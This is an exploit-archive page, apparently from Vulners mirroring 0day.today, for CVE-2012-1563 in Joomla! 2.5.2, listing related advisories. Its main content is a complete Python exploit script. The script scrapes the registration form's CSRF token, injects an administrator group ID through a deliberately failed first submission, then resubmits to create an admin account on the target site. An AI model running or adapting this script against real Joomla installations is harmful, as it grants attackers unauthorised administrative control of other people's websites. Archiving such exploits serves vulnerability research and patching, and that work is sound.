Lucene search
K

Joomla! 2.5.2 - Admin Creation Exploit

šŸ—“ļøĀ 26 Jan 2017Ā 00:00:00Reported byĀ Charles FolTypeĀ 
zdt
Ā zdt
šŸ”—Ā 0day.todayšŸ‘Ā 123Ā Views

Joomla 2.5.2 Admin Creation Exploit via CSR

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-1563
15 Jan 202016:39
–circl
CVE
CVE-2012-1563
15 Jan 202012:59
–cve
Cvelist
CVE-2012-1563
15 Jan 202012:59
–cvelist
Exploit DB
Joomla! < 2.5.2 - Admin Creation
20 Jan 201700:00
–exploitdb
EUVD
EUVD-2012-1581
7 Oct 202500:30
–euvd
exploitpack
Joomla! 2.5.2 - Admin Creation
20 Jan 201700:00
–exploitpack
NVD
CVE-2012-1563
15 Jan 202013:15
–nvd
Prion
Design/Logic Flaw
15 Jan 202013:15
–prion
RedhatCVE
CVE-2012-1563
22 May 202505:54
–redhatcve
Tenable Nessus
Joomla! < 2.5.4 Multiple Vulnerabilities
31 May 202300:00
–nessus
Rows per page
#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
 
import bs4
import requests
import random
 
 
url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'
 
username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'
 
user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}
 
session = requests.Session()
 
# Grab original data from the form, including the CSRF token
 
response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')
 
form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}
 
# Build our modified data array
 
user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)
 
# First request will get denied because the two passwords are mismatched
 
response = session.post(action_url, data=data)
 
# The second will work
 
data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)
 
print("Account created for user: %s [%s]" % (username, email))

#  0day.today [2018-01-05]  #

Data

Build on a solid foundation withĀ Vulners data

WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data

Api

Power your application withĀ Vulners API

The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access

App

Assess and manage vulnerabilities withĀ VulnersĀ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jan 2017 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.06479
123